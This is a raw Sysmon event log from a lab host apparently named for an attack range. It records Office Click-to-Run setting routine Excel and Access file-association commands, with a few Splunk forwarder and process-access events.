Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.8\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "%%1" 13241300x800000000000000039986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.706{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.8\shell\New\ddeexec\(Default)(Empty) 13241300x800000000000000039985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.706{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.8\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /n "%%1" 13241300x800000000000000039984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.706{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.8\shell\Edit\ddeexec\(Default)(Empty) 13241300x800000000000000039983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.706{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.8\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /vu "%%1" 13241300x800000000000000039982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.706{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Macrosheet\shell\ViewProtected\ddeexec\(Default)(Empty) 13241300x800000000000000039981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.706{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Macrosheet\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /vp "%%1" 13241300x800000000000000039980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.706{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Macrosheet\shell\Print\ddeexec\(Default)(Empty) 13241300x800000000000000039979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.706{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Macrosheet\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /q "%%1" 13241300x800000000000000039978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.706{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Macrosheet\shell\Open\ddeexec\(Default)(Empty) 13241300x800000000000000039977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.706{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Macrosheet\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "%%1" 13241300x800000000000000039976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.706{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Macrosheet\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" 13241300x800000000000000039975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.690{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Macrosheet\shell\Edit\ddeexec\(Default)(Empty) 13241300x800000000000000039974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.690{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Macrosheet\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /vu "%%1" 13241300x800000000000000039973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.690{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.XLL\shell\Open\ddeexec\(Default)(Empty) 13241300x800000000000000039972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.690{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.XLL\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "%%1" 13241300x800000000000000039971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.690{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Backup\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /vp "%%1" 13241300x800000000000000039970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.690{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Backup\shell\Print\ddeexec\(Default)(Empty) 13241300x800000000000000039969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.690{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Backup\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /q "%%1" 13241300x800000000000000039968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.690{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Backup\shell\Open\ddeexec\(Default)(Empty) 13241300x800000000000000039967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.690{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Backup\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "%%1" 13241300x800000000000000039966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.690{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Backup\shell\Edit\ddeexec\(Default)(Empty) 13241300x800000000000000039965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.690{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Backup\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /vu "%%1" 23542300x800000000000000039964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.690{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1A416610DA844CDF83960AA9821E4297,SHA256=63A3AC15FC83DDC075FAD620786F0F6D3C48722DCFA438C7BA7A97843EB8F817,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000039963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.674{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.AddInMacroEnabled\shell\Open\ddeexec\(Default)(Empty) 13241300x800000000000000039962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.674{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.AddInMacroEnabled\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "%%1" 13241300x800000000000000039961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.674{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Addin\shell\Open\ddeexec\(Default)(Empty) 13241300x800000000000000039960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.674{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Addin\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "%%1" 13241300x800000000000000039959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.674{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SLK\shell\Open\ddeexec\(Default)(Empty) 13241300x800000000000000039958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.674{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SLK\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "%%1" 13241300x800000000000000039957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.674{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\rqyfile\shell\Edit_Query_in_Notepad\command\(Default)%%SystemRoot%%\System32\notepad.exe "%%1" 10341000x800000000000000039956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.674{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2D-613B-5808-00000000F001}6324C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000039955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.659{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\oqyfile\shell\Edit_Query_in_Notepad\command\(Default)%%SystemRoot%%\System32\notepad.exe "%%1" 13241300x800000000000000039954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.659{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.OpenDocumentSpreadsheet.12\shell\ViewProtected\ddeexec\(Default)(Empty) 13241300x800000000000000039953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.659{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.OpenDocumentSpreadsheet.12\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /vp "%%1" 13241300x800000000000000039952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.659{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.OpenDocumentSpreadsheet.12\shell\Printto\ddeexec\(Default)(Empty) 13241300x800000000000000039951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.659{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.OpenDocumentSpreadsheet.12\shell\Printto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /q "%%1" /j "%%2" 13241300x800000000000000039950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.659{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.OpenDocumentSpreadsheet.12\shell\Print\ddeexec\(Default)(Empty) 13241300x800000000000000039949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.659{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.OpenDocumentSpreadsheet.12\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /q "%%1" 13241300x800000000000000039948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.659{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.OpenDocumentSpreadsheet.12\shell\OpenAsReadOnly\ddeexec\(Default)(Empty) 13241300x800000000000000039947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.659{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.OpenDocumentSpreadsheet.12\shell\OpenAsReadOnly\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /h "%%1" 13241300x800000000000000039946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.659{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.OpenDocumentSpreadsheet.12\shell\Open\ddeexec\(Default)(Empty) 13241300x800000000000000039945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.659{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.OpenDocumentSpreadsheet.12\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "%%1" 13241300x800000000000000039944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.659{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.OpenDocumentSpreadsheet.12\shell\New\ddeexec\(Default)(Empty) 13241300x800000000000000039943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.659{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.OpenDocumentSpreadsheet.12\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /n "%%1" 13241300x800000000000000039942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.659{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.OpenDocumentSpreadsheet.12\shell\Edit\ddeexec\(Default)(Empty) 13241300x800000000000000039941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.659{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.OpenDocumentSpreadsheet.12\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /vu "%%1" 10341000x800000000000000039940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.643{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F2D-613B-5808-00000000F001}6324C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.643{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2D-613B-5808-00000000F001}6324C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000039938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.643{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\iqyfile\shell\open\ddeexec\(Default)(Empty) 13241300x800000000000000039937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.643{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\iqyfile\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE "%%1" 13241300x800000000000000039936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.643{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\iqyfile\shell\Edit_Query_in_Notepad\command\(Default)%%SystemRoot%%\System32\notepad.exe "%%1" 13241300x800000000000000039935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.643{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\dqyfile\shell\open\ddeexec\(Default)(Empty) 13241300x800000000000000039934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.643{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\dqyfile\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE "%%1" 13241300x800000000000000039933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.643{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\dqyfile\shell\Edit_Query_in_Notepad\command\(Default)%%SystemRoot%%\System32\notepad.exe "%%1" 13241300x800000000000000039932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.628{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.CSV\shell\Print\ddeexec\(Default)(Empty) 13241300x800000000000000039931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.628{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.CSV\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /q "%%1" 13241300x800000000000000039930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.628{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.CSV\shell\Open\ddeexec\(Default)(Empty) 13241300x800000000000000039929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.628{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.CSV\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "%%1" 13241300x800000000000000039928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.612{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.UriLink.16\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\protocolhandler.exe "%%1" 13241300x800000000000000039927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.612{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Module.1\shell\open\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.612{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Module.1\shell\open\ddeexec\ifexec\(Default)[] 13241300x800000000000000039925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.612{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Module.1\shell\open\ddeexec\(Default)[SetForeground][OpenModule "%%1"] 23542300x800000000000000039924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.612{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F9C57B02D970E690BD6DC8F18EDD57E9,SHA256=D2E5A8AD019A1EE20EADF898341F14CA08D02A16932BBCE50D6F0803A85E7565,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000039923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.612{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Module.1\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [OpenModule "%%1"] 13241300x800000000000000039922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.612{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Macro.1\shell\open\ddeexec\topic\(Default)ShellSystem 10341000x800000000000000039921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.612{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2D-613B-5708-00000000F001}5160C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000039920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.612{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Macro.1\shell\open\ddeexec\ifexec\(Default)[] 13241300x800000000000000039919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.612{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Macro.1\shell\open\ddeexec\(Default)[SetForeground][ShellOpenMacro "%%1"] 